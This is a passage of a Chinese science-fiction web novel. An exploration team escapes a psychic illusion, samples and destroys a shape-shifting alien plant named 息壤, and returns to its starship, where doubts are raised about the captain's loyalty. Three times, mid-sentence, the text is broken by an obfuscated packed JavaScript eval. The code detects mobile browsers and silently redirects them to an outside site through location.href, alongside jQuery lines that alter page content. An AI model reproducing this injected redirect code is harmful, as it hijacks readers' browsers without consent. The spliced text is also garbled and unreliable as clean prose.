根据人类现在对异植异兽的认知,它们具有的能力和可能产生的异变确实有很大一部分是重合的。譬如说分裂能力,那大血藤天生具备,那低等级的拟草履虫亦天生具备,经过“牧星者”基因编辑的某些异兽也可以具备这种异变能力。 有些异兽是具有类似精神力仙法的能力的,即便目前数据库中的异植没有任何一个有这种能力,但这不代表“牧星者”不能对异植进行基因编辑让它们亦拥有这种异变能力啊。 当然,世界之大无奇不有,或许他们有幸能发现天然突变而具有精神力的异植。可北辰星环隐隐觉得,姚定坤一开始的猜测是正确的,这确实更大可能是人为操纵的。 精神力幻境可以解释他们迷路的原因,也可以解释没发现天坑的原因。 但精神力幻境的危险之处不仅仅在于可能永远无法突破,永远被困在自己的脑中幻想里,也在于某些幻境甚至放开了对□□的限制,也就是说被控制者有可能会步入深渊迎来□□的彻底死亡而不自觉。 北辰星环是经历过“天坑蹦极”的,她知道那完全可以殒命。 她便有些急了,“那我们该如何突破幻境?” 姚定坤却只轻轻看了她一眼,温和地说:“别急,放心,我们会解决的。” 他的话不算怎么铿锵有力,但被那双眼睛温柔一扫,北辰星环确实镇定下来了。 是啊,这是拓荒军啊,谁还能比他们更见多识广。拓荒军经常与特殊军第九军、仙法管理局的相关人士一起合作,他们见过的仙法者多,经手的相关事务亦多。 更不要说联邦军队中其实有特定的对抗精神力的训练。这种训练原本只局限在第九军,但随着仙法管理局的设立,这一切都不再是隐秘,便推广到了全军。 北辰星环当然没经历过这种训练,但她知晓一些抵抗精神力控制的秘诀:要么彻底融合,与对方精神力同频就自然解除;要么彻底压倒,以更强势的精神力破坏对方精神力。 北辰星环并不是仙法者,她当然只能做到前者。用一句话来说就是——放弃情绪,放空自己。 即所谓“常能遣其欲而心自静,澄其心而神自清。” 思索至此,北辰星环好像明白了。 由寂静无声、暗无天日、幽绿色调、层叠巨树的环境一层层感官强化的阴森气氛,才是真正的幻境阵眼。正是这种无处不在的阴沉生怖,将她牢牢地钉死在幻境中。 相由心生,即便是普通人也可以做到不被这些幻象所蒙蔽的。 北辰星环在顿悟尝试自行突破精神力幻境时,姚定坤三人其实在寻找更实际的那个阵眼——即进行精神力控制的那个源头,无论是人、异兽还是异植。 他们经过抵抗精神力的训练,其实只要他们想,一眨眼就能直接摆脱这个幻境。他们之所以还留在这个幻境中,一是为了保护北辰星环,二是为了暂时稳住并引那精神力控制的源头显形,直接将其绞杀。 姚定坤也不是真的迷路了,他实则存在于真实与幻境的夹缝中,他既可以控制真实环境的自己的手中枪械、可以听见半空的晏南天与贝曼的提示,又可以在幻境中沿着那精神力的频率轨迹找寻真正的源头。 这种控制力非常精确,但凡过头一点,就会彻底清醒或者彻底沉迷。寻常士兵经过千万次训练都极难做到,因为这对人的要求实在是太细了。 恍若在一根只有头发丝四分之一粗细的绳上走钢丝。 可是姚定坤能够做到。 而这才是姚定坤几人表现得如此淡定沉稳的真正原因。 找到了! 姚定坤对凌鹤与贺兰比了几个手势,两人点头接着立刻冲破精神力幻境。 大概是他们的突然行为惊扰了什么存在,这林间出现一种如同风吹过细管而发出的尖啸声。 北辰星环自然听见了,她甚至感觉这四周黑压压的高耸乔木好像开始向内倾斜变形扭曲了。她赶忙在心中念叨“这都是假的”“这都是假的”。 而处于真与假之间的姚定坤明明白白地看见有一条墨绿的藤蔓状物向北辰星环方位袭来,至于为什么它判断威胁性最强的人是北辰星环,姚定坤暂时无空思索。 他并不意外,也不慌张。他甚至能坚定沉稳地抽出那把匕首,摆好一个标准的起手式。 然后,手起刀落,斩金截玉。 默念着“这都是假的”的北辰星环感觉到有什么不一样了。 她抬头一望,这树还是这树,但有风拂过树梢,便多了些时间在流动的真实感觉。 而且,她面前还出现了那所谓的天坑。她估算了一下,大概再走个十几步,她就有可能直接掉进去了。 姚定坤几步上前拦住了她,北辰星环只能伸长脖子一望,那深不见底的天坑壁上竟也长满了这樟科乔木,几乎将天坑填满。那些高大乔木直直伸向天空的姿势过于僵硬,就好像无数向天伸冤的惨死者的手臂。 姚定坤心知肚明,北辰星环突破精神力幻境的时间与他们破掉阵眼的时间差不多,也就是说她完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403757|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以依靠自己彻底醒来。 这一点认知让他很是意外,但想到了些什么,他的目光又幽深了一些。 “我们已突破幻境,找到天坑。”姚定坤与晏南天和贝曼通告。 凌鹤与贺兰走上前来,仔细侦察着天坑,一脸凝重。 “你们斩断的藤蔓还在吗?”姚定坤转头问凌鹤与贺兰。 凌鹤摇摇头,贺兰则说道:“斩断的刹那,藤蔓就化作了灰,什么都没剩下。不过从观感上来看,确实很像那未知名异植。” 姚定坤微微颔首,“我这处也是如此。” “那我们先准备好正电子牢笼,再引它出来?”贺兰问道,“还是直接下这天坑?” 按照姚定坤一开始的计划,他们只需要采到标本即可,在森林中引蛇出洞更稳妥。可是考虑到这些异植的藏匿性,另一个方案则是下到天坑,直接找到它的那个本体根系。 姚定坤沉默地凝视着天坑,开始了思索。 北辰星环垂首端详脚下的幽绿落叶,也陷入了沉思。 她忽然意识到自己错过了一个重要的细节。 即便她已经回到现实世界,可这里仍有一种不真实感——或者说太完美了。 这些樟科乔木每一株都挺拔高耸,所有枝干都直伸向天,所有叶片都完美无缺,就连这地上的落叶也仿佛仍有生命并未离枝。 可真实的生命不该是这般的,生命总有遗憾,总有万般模样。她找不出哪颗树——即便是模拟环境室里人为控制培育出来的树——能像这些树一般树皮完整、树形完全一致、枝干没有任何缺损或者生长不良、树叶形状颜色深浅也完全一致。 而且,没有一片树叶有干枯坏死的迹象,也没有一片新生的嫩叶、一个新生的嫩芽。 就仿佛这些树被困在生命轮回中最茂盛的那一瞬,永远不再改变。 一个过于大胆的念头在她心间产生。 那边姚定坤似乎已经做出了下天坑一探的决定,北辰星环连忙上前一步试图制止他。 “姚舰长,不可!” 姚定坤三人回首望来,停下了手中的准备工作。 “你有什么发现?”姚定坤没有一点怀疑直接发问。 “我们目前认为这未知名植物只是藏匿在这森林中、甚至是天坑中,对吗?”北辰星环先反问了一句。 几人微微点头。 “我有一种猜测,这些所谓樟科乔木和那所谓未知名藤蔓,其实是同一种异植。樟科是一个神奇的科,其中不仅有这样的樟属参天乔木,也有完全退化根叶的无根藤属寄生草本植物。” “而这种未知名异植,或许兼具这两种形态——或者可以说是表现为模仿这乔木与草本形态。” 姚定坤几人静默沉思,细细品味北辰星环的话语。 “而更大胆的猜测是,这里所有的,”北辰星环挥着胳膊画了个包容所有的大圆,“所有的乔木、落叶、藤蔓连带着那天坑中的乔木,还有坑底的根系,其实是一个植株——或者说是由一个植株生成的庞大族群。” 这猜测确实很是大胆,几人目光炯炯地盯着北辰星环。 北辰星环摸索着自己的下巴想了想,换了种解释方式:“你们应该知道榕树吧?榕树可独木成林,不仅仅因为它的树冠可以蔓延广阔,也是因为一些榕树的气生根入土后可直接长成支柱根,那就和一个新的树干相差无几了,这样一点点扩散,就像许多树形成的树林一般了。” “当然这里的情况又要复杂许多,但大致原理可以这般简单理解。” 22. 息壤 “独木成林吗……”姚定坤带着这样的猜测再环视一圈这处处透着诡异的森林,确实感悟到了更多的异样。 北辰星环的解释很清晰,她还举了些常识例子。凌鹤与贺兰两人自然听懂了她的意思,他们也开始再一次仔细观察起了这森林。 姚定坤按着耳侧通讯器片刻,然后他说:“贝曼对北辰主任的猜测表示十分认同。” 何止认同,她还附带着无数句对北辰星环的吹捧称赞。 让随队科学官进行确认是很正常的操作,北辰星环只点头表示知晓,并未不悦。 对于这些涉及异兽异植的判断,拓荒军中随队科学官具有最高解释权。所以科学官认可了,队长也没有异议,那队员们就会直接接受了。 凌鹤看着近在咫尺的“乔木树干”,直接发问:“那也就是说,我们直接取这些所谓乔木部分的标本即可?” 北辰星环连连捣头,“是这样的,这些‘乔木’可没那么容易逃走,甚至取一片这地上的所谓落叶也可以。当然,再加上藤蔓部分的标本更好。不过我估计这些部分一旦离开本体也会灰飞烟灭,所以我们得先准备好捕获设备。” 几人说干就干,开始布置一系列装备。不用下到那天坑去,可省了不少事。 姚定坤再望了眼这阴森森的森林,预先示警:“我们成功取下一个样本后,这个未知名异植大概率会进行反击,那些藤蔓部分应该会再次显现。” 贺兰自信地咧嘴一笑,“那我们就将它们一网打尽!” 姚定坤便开始部署修改后的计划。 “晏南天、贝曼,你二人继续高空监视,主要注意生物能的改变,为我们提前预警。” “贺兰,你负责部署运行这些捕获设备,北辰主任会帮助你一齐采集样本。” “凌鹤,你与我一齐警惕,时刻准备迎战那藤蔓。” 而事情确实也是如此发展的。 期间姚定坤与北辰星环报告了土壤成分快速检测与毒性物质快速检测的结果。 如北辰星环所料,这土壤中存在某种尚不在数据库中的高度疑似毒物的物质,且氮、磷等各类营养物质及水分均高度匮乏。而从那拟犀巨兽骨骸上也检出了同样的可疑毒物。 这便进一步验证了这种未知名异植的可怕之处。 贺兰确实是个优秀的机械师,他手下动作飞快,没多久就组装好了科学官们提供的可能有效的捕获设备,总计六款。 其实他们并不确定哪一种才能起效,如果运气不好,可能得把这六种一个个试过来。 不但如此,贺兰还得将北辰星环塞进来的标本迅速封存,多耽搁一毫秒,那标本都有可能会采集失败。 两人交流了几句,培养了些默契,让姚定坤与凌鹤准备好,就开始采集标本。 北辰星环拿着采集标本的无菌实验钳看准角度,直接将地上叶片钳起一片。就像她料想的那般,这叶片与其他落叶果然有种千丝万缕的关联,她用另只手持无菌刀片迅速切断那些丝缕,顺势将叶片整个甩进无菌箱。 她很努力,动作也迅速,可她还是看见这叶片以极快的速度开始化为灰屑。 贺兰很快速封装了这第一套设备。 遗憾的是他们没能成功保存标本。 不过“离体就消散”这点就足以初步证明这落叶、乔木与藤蔓是一体的了。 接着便是第二次、第三次试验…… 姚定坤与凌鹤并未过度分散注意力关注北辰星环那边的情况,他们只时刻防备着藤蔓的出现。 北辰星环两人的操作果然引起了这异植的关注,姚定坤感觉地面甚至都有些微微震动。这似乎进一步验证了北辰星环的推测——这整个区域是一体的植物。 有其他生物入侵了它的领地,且突破了它的精神力幻境,它绝不会善罢甘休,它必定在酝酿什么杀招。 “成功了!”北辰星环轻声欢呼了一声,姚定坤只觉得心终于放下了一些。 他迅速回头瞥了一眼,见北辰星环与贺兰正在快速将四个避光的标本箱纳入背包。他不由在心中感慨一句,他们标本采得可真多,那未知名异植恐怕要大发雷霆了。 果然这整片森林就开始地动山摇,北辰星环觉得这就像昨日经历的天坑崩塌一般。 但好在,今天他们有机甲,可以尽早逃离,并不需要与这异植过度纠缠。 不过,他们先得尽量尝试采集到那藤蔓的标本! “跑,向外围跑!”姚定坤厉声示警,还不忘提示天上的辅助团队,“贝曼,晏南天,你们指引方向,往生物能适中区域去!” 然后一行人就开始飞奔。 脚下的每一片树叶都开始变成绊脚石,异化变形,长出了须蔓试图抓住他们的脚。 而他们能做的就是跑得快一点,再快一点。 “十点方向!” 姚定坤的声音响起的同时,凌鹤、姚定坤都飞扑而出,北辰星环与贺兰对视一眼,各自捧着一个正电子捕获牢笼上前。 姚定坤手中仍是那把匕首,而他面前有五六根幽绿粗壮的藤蔓呈螺旋状向他扑来。这一次,他远比面对大血藤时更加游刃有余。 每一次,他都能精准预判那藤蔓的进攻方向,以最小幅度的移动躲避,然后用手中匕首将它削成许多小块。 北辰星环端着标本箱上前,只觉得他这像在将什么菜品切成丁块状。她不知道自己这种奇怪的联想是如何产生的,但她仍记得尽可能地在这些标本没有完全消弭前将其收集进标本箱。 此处藤蔓不多不少,不至于让他们捉襟见肘,也能获得足够的标本。 姚定坤砍完最后一条藤蔓,收刀回首,坚毅的身影似乎能冲破这遮蔽天日的森林。 但他一望见北辰星环,那凌厉眼神立刻收敛。 “怎么样?成功吗?” 北辰星环为了接到标本,都跪在地上了。她正在繁忙地进行后续保存操作,并未回话。 姚定坤便走到她身边呈护卫姿势,不出声打扰她。 “成功,成功!成功了!”北辰星环抬头,那红润脸庞上剔透的双眸满是光芒。 雀跃的气氛却被愈加强烈的震动打破。 姚定坤眼波一扫,看着那节节崩塌扩大的天坑和从乔木状态瞬间切换到藤蔓状态的密密麻麻异植,皱了眉,“那我们赶快撤退!” 他伸手给北辰星环借力将她快速扶起,说了声“抱歉”就将手放在她的腰际。 下一秒,两人就出现在了机甲驾驶舱内。 即便操纵着机甲,要突破这些从乔木忽然变成张牙舞爪的庞大藤蔓组成的一张密不透风的大网仍不是易事。 这整一片森林都苏醒了,离开了附着的天坑,化身成为巨大的存在。如同那种有着触须的巨大深渊海兽,从水面跃起,用无尽的触须试图吞噬他们。 那些粗大的藤蔓同时兼具乔木树干的纵裂,两种状态的比例不断变化。受击时化作坚硬树皮,击打时变成坚韧藤蔓。 快速脱掉隔热服的姚定坤正在聚精会神地操纵机甲,即便不想打扰他,但北辰星环还是问了句:“影像采集打开了吧?” 这样两种形态随意切换的异植可从未见过啊! 姚定坤“嗯”了一声,过了会儿又补了句:“你可以把隔热服脱了,在舱壁的翻板椅上坐下,系好安全带,小心点,接下来会有些颠簸。” 北辰星环照做了,如姚定坤所说接下来确实很是颠簸。 姚定坤精准操纵着这般机械人造物在那几乎布满整个空间的交叠藤蔓中穿梭,他借着机甲喷气装置的风,也借着藤蔓回顾不及的势,仅用几颗爆炸弹,就闯出生天。 北辰星环定睛搜索几乎布满驾驶舱的辅助视野投影,见另外两架机甲也终于冲破藤蔓包围,她狂跳的心脏才终于得到喘息的间隙。 三架机甲总算顺利会师,有惊无险。 姚定坤大概也松了一口气,他在通讯中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427079|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与其他队友交流,计划尽快赶回临时营地。 北辰星环等他们讨论结束才发声:“抱歉,我有个提议。” 姚定坤回头对她颔首示意,她便继续说道:“我认为应该立刻调用星舰的电离炮将这未知名异植彻底摧毁。” 这确实是个需要斟酌的决定了,他们原本的任务目标并没有摧毁异植这一条。 贝曼、晏南天无脑跟风北辰星环,贺兰、凌鹤不同意也不否定。最终的决定权当然还是在姚舰长身上。 北辰星环甚是恳切地凝视着姚定坤,她刚酝酿了一番,打算长篇大论一下—— 却没想到姚定坤只云淡风轻地一点头,非常轻易地就接受了她的提议。 “你说得对,这种异植太危险,会造成很大危害,恐怕迟个两三天,这片亚热带区域的所有生物都很难幸免了。” 几人回到临时营地时,“齐物”星舰向那森林方向发射的电离炮正中目标。 北辰星环站在台地边缘,只呆呆地望着那蓝白色的巨大光柱从天外降临,刺穿了空气,狠狠扎进了这片土地。 震了又震。 拓荒军小队成员却没歇着,几人迅速收拾营地,没几分钟所有人造物全部消失。 登上登陆艇的时候,贺兰忽然发话了。 “基因快速测序结果出来了,落叶、乔木枝干、藤蔓部分基因均一致,是同一物种。通过目前比对,这确实是一种从前未发现的新物种——当然,是否人工干预还需要进一步检测。” “如果确认是新物种,那发现者可是有命名权的呢。”晏南天满脸兴奋地看看这个又看看那个。 命名新物种是一种莫大的殊荣,对北辰星环这样的研究者来说是如此,对姚定坤这般的拓荒军官兵们来说亦如此。 几人相互对望,最终还是一齐看向了正在做心理建设的北辰星环。 姚定坤很是温柔地说:“众望所归,北辰主任,对于命名你有什么想法吗?” 仍沉浸在上一次登陆时惨痛经历中的北辰星环听到姚定坤点自己的名,先略带着些懵懂地“啊”了一声,然后才意识到了什么。 “命名啊……你们知道古地球的典籍中是怎么形容那个‘息壤’的吗?” 几人摇摇头,北辰星环接着说。 “‘洪水滔天,鲧窃帝之息壤以堙洪水’,古地球多文明都曾描述记载的这个大洪水中,鲧就是以息壤平息了洪水泛滥,后人多认为这是一种会自行生长、用之不尽的神奇土壤,水涨一分,用它筑成的堤坝也会长一分。在这个神话中,是息壤拯救了遭遇大洪水的古人类,它绝不是什么可怕的东西。” “我们这次发现的植物,我个人猜测是被篡改过的,它的本体恐怕没有那么强的攻击性和排他性,它应该只是一种具有多种形态的独木成林的异植,甚至可以填平沟壑。” “我想给它命名为‘息壤’,我想让神话故事可以延续,我也想让它拥有这个名字便恢复向善本性——这算是一种唯心主义吧。” 北辰星环说到最后,垂首笑了笑。 可没人觉得这样有什么问题。 “是个好名字,我觉得也别和那什么古地球灾变的‘息壤’扯上关系了,神话故事里的人类伙伴——‘息壤’,挺好的。”晏南天第一个举双手赞同。 “尽管需要中央科学院的异植生理学实验室进一步检验,剔除可能的人为编辑基因,再进行人为培育之后才能知道这个异植的本性究竟如何。但是,我相信北辰主任的猜测!”伊莎贝拉·贝曼亦坚定地表明态度。 她俨然成为北辰星环的拥趸了,态度不要更亲昵,眼睛里不要更多小星星哦。 凌鹤他们更加不会有异议了,只连连说着“好”。 几人各自就位,终于迈上回程路。 北辰星环更加欣慰的是,回程路没那么难受了。不知道是贺兰将登陆艇开得更稳了些、不赶时间了些的缘故呢,还是因为她已经耐受了、习惯了。 23. 回归 北辰星环仅仅是不像之前那么难受,要她说话还是做不到的。可与她截然不同的是,隔壁的姚定坤正在非常自如地与其他小分队交流。 他外放了通讯,所以其实登陆艇中的诸位都能听到其他小队的行动情况。 北辰星环一脑子浆糊,她只能勉强跟上几句对话。零碎几句来看,其他小队恐怕没有采集到标本,也并没能找到这藤蔓状异植的踪迹,不过他们同样发现了逃窜的异兽异植。 那“息壤”大概率是确实全部回退到天坑处了,那定会在电离炮之下湮灭无存。 北辰星环心中庆幸,还好他们小队成功采到了标本,不然姚定坤恐怕不好交代了。 然而即便其他小队没有达成全部任务目标,姚定坤还是镇定又温和地对他们说“没关系”。 北辰星环其他话语左耳进右耳出,唯独他这声声“没关系”却在脑中不断回响。 他真的太真挚,他真的觉得有没有完成所有任务并不是最大的问题,所有人都活着才是个巨大的成功。 而他自己会付出一切去完成任务。 他的言与行,有时还真不是那么统一呢…… 一片火光之后,舷窗外终于出现了银灰色人造物的身影。 看到“齐物”让北辰星环心中腾起一股热流,无比感动。经过两日艰辛跋涉和肾上腺素狂飙的惊险战斗,至到这一刻,北辰星环才终于真正放下了心。 登陆艇安稳地在停机坪着陆,北辰星环前仰了一下,就感觉到胃中升起恶心的感觉。 看来她还是天真了,她根本没习惯好吗? 北辰星环颤颤巍巍地试图解开束缚自己的安全带,却有另一只手替她解围。 她抬眸,正对上姚定坤的温煦目光。后者接着又对她伸了一次手,这微微躬身的模样真像是在行礼。 瞥了眼被截胡的凌鹤,北辰星环终究还是将自己的手放在了他的手中,借力顺势站起。 她,真的,真的很想强撑一下的,可是才迈出一步,她的脚还是软了一下。 耳后传来姚定坤的轻声“抱歉”,然后那只手又搭在了她的腰际。即便只是轻轻的碰触,她也确实能站起来了。 战斗时的一触即离她根本不会在意,但现在,她根本无法无视这从织物中渐渐透来的温度。 北辰星环深呼一口气,让自己镇定。 舷梯就位,舱门打开,已提前回到“齐物”的行动人员和驻舰人员齐聚在这停机坪中,等待成功采集到标本的他们的舰长的回归。 先从舱门里迈出脚的——北辰主任?就是姚舰长说的那个起到重要作用、没有她就不可能完成任务的北辰主任啊! 众人便高声欢呼起“北辰主任”来,这场景真是非常热烈。 姚舰长在她之后现身,欢迎的人群便又是一阵更高亢的“姚舰长”! 他们亲爱的姚舰长只扫了他们一眼,目光一如既往的凌厉,然后他收敛的眸光又回到身前人的身上,紧紧粘着,和他的那只手一样。 舰员们眼神欢欣又炽热,先回程的士兵早已分享过那异星是多么危险,舰长和他的队员们能完美完成任务还彻底铲除危机那可真是不容易啊。 他们的姚舰长回首吩咐了几句,说着“我送北辰主任回去”,就神态自若地扶着一脸煞白的北辰主任穿越了欢迎的人群,径直向外而去。 其实北辰星环听着大家的欢迎、看着他们眼中的尊敬的时候,脑中只有一个想法——我现在这状态真的太狼狈了…… 她也算是经常星际旅行的人啊,怎么就不能适应这拓荒军的登陆艇呢?就不说这次往返了,她上一次……也是如此狼狈。 尽管后来姚定坤与她解释了军用星舰登陆艇、宜居星商用穿梭艇乃至主星军用穿梭艇的差异,她明白了星舰登陆艇为了提升速度、防御度而放弃了舒适度,她也明白了自己一直乘坐的商用穿梭艇额外运用了怎样的高精尖昂贵设计才抵消了大部分的不适,她更明白了这些登陆艇的受众完全不同,经过训练的士兵不会觉得星舰登陆艇有何不适,但她还是觉得自己太弱了些。 不行,她一定得去感受一下那个什么负荷专门训练。如果要参与下一次行动,她可不能再这样狼狈了——不过,真的还会有下一次吗? 姚定坤将北辰星环送回自己的休息舱,他让北辰星环坐在一旁,先弯着身子仔细调节了床的角度才扶着北辰星环慢慢躺上去。 北辰星环还是第一次知道原来这看起来简单的床板还能像那医疗养护床一般调节角度。 她躺在床板上,半坐着的这个角度确实更加舒适些。 姚定坤给她掖了被角,一声不吭地站起就出了舱门。 他就这么走了吗?北辰星环仍有些迷糊懵懂,但不妨碍她有些意外,还有点她自己都没有意识到的失落。 但是并没有。还没等她反应过来,一杯温度适宜的盐糖水又摆在了她面前。 水量不多不少,正好是她现在乏力的手也能举起的重量。 他原来只是去生活区的吧台倒水……北辰星环不知道自己怎么就松了一口气。 她静静地喝水,姚定坤也静静地坐在她床边的小凳子上。 姚定坤眼神克制,不敢乱瞟别人的休息舱,但摆在床头柜上的那本书确实太过醒目。 经过北辰星环的首肯,姚定坤便轻轻拿起了那本书。 绛紫色的仿皮质精装封皮亮丽如新,因为她包裹了自制的透明书衣,还在书角装了黄铜的护角。 他翻开夹着叶脉书签的那页,温润微黄的纸张上有她用铅笔借尺划出的平直着重线,页边空白处还有些她用铅笔留下的批注,那字体如银钩铁画,偏又带着些飘逸。 真是太过罕见的复古作风,却无端令他觉得有些穿越时间的浪漫。 他用修长的手指继续一页页翻下去,书签之后的内容仍有着不少的划线与批注,说明她其实反复阅读过这本书。书页之中还夹着一些便笺,上面写着页边无法容纳的更多的批注。 这些痕迹与书籍原本的内容浑然一体,一点都不显得突兀。 而他手下的每一页都干净平整,没有一点沾污的印迹。 她一定是极爱这些书的,她确实是个爱书之人。 北辰星环听着姚定坤翻过书页的沙沙声,看着他微微垂首专注又温和的侧脸。 大概是这气氛太过温柔。 大概是这舷窗外的深空太过浓郁。 她竟然有一种她从未有过的只在想象中的——家的感觉。 她感觉到自己很放松,不需要任何伪装,也不需要再逞强,更不需要担心课题和研究室。 然后她强撑着将手中钛质马克杯放到床头柜上,就真的阖上了眼,缓缓进入了梦乡。 北辰星环很满足地睡了一觉。 等她醒来一看光脑,竟已是标准时晚上十一时,也就是说她睡了近两个小时。 床板已经被放平,她现在倒是恢复了气力,撑着床板坐起来看见自己被下的右腿时,她忽然想起姚定坤微微蹙眉叮嘱她“虽经过治疗舱治疗,但你之后一个月还是要避免剧烈运动”的样子。 可他们方才不还在那息壤森林里狂奔,她早就违背“医嘱”了。北辰星环这样想着,嘴角却挂上了一丝她自己都没有意识到的笑意。 她扭了头,看见床头柜整齐摆放的那本书和那只又装好水的水杯,这便又记起了姚定坤静静翻着她的书的样子。 怎么到处都是他的影子? 北辰星环晃了晃脑袋,听见自己的肚子发出了几声肠鸣音。这几日体力消耗太大,她还真有点饿了。 她换了身衣服,打开舱门,却没想到一眼望见凌鹤大马金刀地坐在生活区吧台边,好似蓄势待发要冲起一击一般。 而那凌鹤见北辰星环开门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431151|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便提起桌上一物径直向她走来。 原来是来“击”她。 “这是……打包的饭?”北辰星环接过凌鹤递来的长条状物一看,有些惊喜。 “是啊,你快吃吧,”凌鹤看北辰星环要张口,赶快又接了句话,“别谢我,这是姚舰长亲自给你打包的。只是让我来送给你。” 北辰星环笑了笑,“那不行,也得谢你,你肯定在门外等我好久了。” 凌鹤便给了她一个爽朗的笑脸,倒也没客套拒绝她的感谢。 两人进入舱室,北辰星环坐在桌板前打开饭盒,看凌鹤有事要谈的样子,便干脆直接问道:“凌鹤,你那纸条……到底是什么意思?” 凌鹤立刻板着张脸吐出几个字:“他曾密会过姜启乾。” 北辰星环皱了眉,就这?她不以为然地挖了口菜。 “就这样?这就不可信了?姜启乾是什么危险分子吗?” 凌鹤微微摇头,“现在还不是。” 北辰星环搁下筷子,回头看了眼凌鹤,“那这有什么的啊。” 凌鹤见她这副模样,面色愈加严肃了起来,“见谁不是关键,关键是‘密会’这个行为。你信我。” 北辰星环摇了摇头,继续挖饭,“他是瑾军长的亲信,你是漆雕准将的亲信,不一样吗?为何我能信你,不能信他?” 北辰星环太理直气壮又太无所谓,凌鹤只觉得自己嘴笨,着急地把手捏得咔咔作响。 直到北辰星环将菜吃完——不得不说,姚定坤打包的菜挺合她的胃口的——凌鹤还满脸纠结地望着她。 北辰星环便收敛了玩笑意味,双手放在膝上,认真地回望过去。 凌鹤再斟酌了一番,终于郑重其事地提了个问句:“你觉得姚定坤是怎样的人?” 北辰星环微微一愣,见凌鹤不似玩笑,便认真思索了一下。 “我原本以为他就是个寻常的八面玲珑的指挥、冷酷凌厉的领导。可没想到他凡事亲力亲为,对待下属也完全没有架子。” 北辰星环凝视着凌鹤,一字一句道:“我觉得他是个很善良很细心的人。” 凌鹤却只点头,连面色也温和了一些。 “没错,虽然他平日里没什么笑脸,看起来冷冰冰的,但他对待每一个士兵都很好,他记得每一个士兵的生日,了解每一个士兵的履历。而且他做这些并不是为了控制什么,他只是单纯地把所有人当作人,他只是单纯地表达自己的善意,他只是单纯地为旁人着想。” “我有时觉得他是不是太过善良,对下属太过亲近,但瑾军长说这正是他可贵之处。与人以善,又坚定包容温和,这是瑾军长看重的赤子之心,难能可贵。” 凌鹤望着北辰星环,话锋又一转。 “但是,这也意味着他不够冷酷不够狠心,他会优柔寡断,他存在被控制、被拿捏的弱点。” “所以,我才在这里监视他。” 原来是这样吗?北辰星环真没想到这一点,那瑾军长是发现什么了吗?不然她不会平白无故地监视姚定坤吧…… 北辰星环略一思忖,抬头却问:“可这和我有什么关系?” 凌鹤似觉得北辰星环问了句傻话,“你不觉得他刻意接近你吗?” 北辰星环愣住了,她确也警惕过一阵子,可是…… “没有吧。”她只说。 凌鹤有些无奈地摇了摇头,“不,很明显。他对下属是好,但是他对你,就不仅如此了。” 连凌鹤都这样觉得,北辰星环还是相信凌鹤的敏锐的。 “真的吗?”可她还是先推脱了一番。 凌鹤真想给她个白眼,“很明显,你身在局中不自知吧。所以,你千万不能太过相信他,不要迷失自己。” 她最后甚是郑重地凝视着北辰星环。 “你明白吗?” “这也是瑾军长的意思。” 24. 行动报告 凌鹤走之后,北辰星环就一个人托着下巴看着舷窗外的曲速航行的彩虹桥景象。 尽管那些流光溢彩只划过她的眼睛,什么都没留下。 她像是在放空发呆,又像是在沉思。 时间只是静静流逝。 这两日来发生的事情的信息量实在太大,真比她在实验室里待几个月的所得都要大。 北辰星环只是在仔细回顾,试图找到她一闪而过遗漏的地方。 她这辈子最信任的恐怕就是瑾军长了,她当然不会违抗瑾军长的指令。 她从来都是个理性的人,她原本也确实没什么风花雪月的念头。 这只是工作。 对啊,她和自己说,这只是工作。 那种热血上头不过就是危急情况下肾上腺素带来的血压飙升和感觉敏锐罢了。 这只是一种错觉。 她没有特别在意他。 对,她没有。 北辰星环这样想着,觉得自己释然了。 她垂首打开光脑,只公事公办地给他发了条简讯——提议用电离炮歼灭那一片区域生物的人是她,她愿意承担后续责任,而且她可以为他完善涉及异植方面内容的报告。 她刚要关闭光脑,那边迅速回复了四个字——“好的,谢谢。” 她轻轻地叹了口气。 是啊,凌鹤说得没错。 可是,她无法拥有自己的判断,他也没有为自己陈情的机会吗? 她又叹了口气。 睡了一个不那么惬意的辗转反侧的觉,北辰星环睡眼惺忪地打开光脑,就看到某人在标准时凌晨五时与她发了“早安”然后附上了行动报告初稿,里面仔细标注了需要她辅助确认的地方和需要她加入内容的地方。 清清楚楚,明明白白。 北辰星环再拖到文档最上方,从头读起,这便愈发感觉到他这文书写得是多么详尽、多么有条理又多么事实证据详明。 写文书算是指挥或者行动队长的基本职责吧,但是达到他这样水平的并不算多见。恐怕也就瑾军长的那位“御用写手”方上校还能与他一比,当然,极有可能他这就是方上校教的呢。 报告文书写得好,日常管理必是井井有条的了。 这样的好苗子,难怪是“明日之星”,也难怪瑾军长看重。 可这样好的苗子,如果是敌人的,那……确实更不堪设想…… 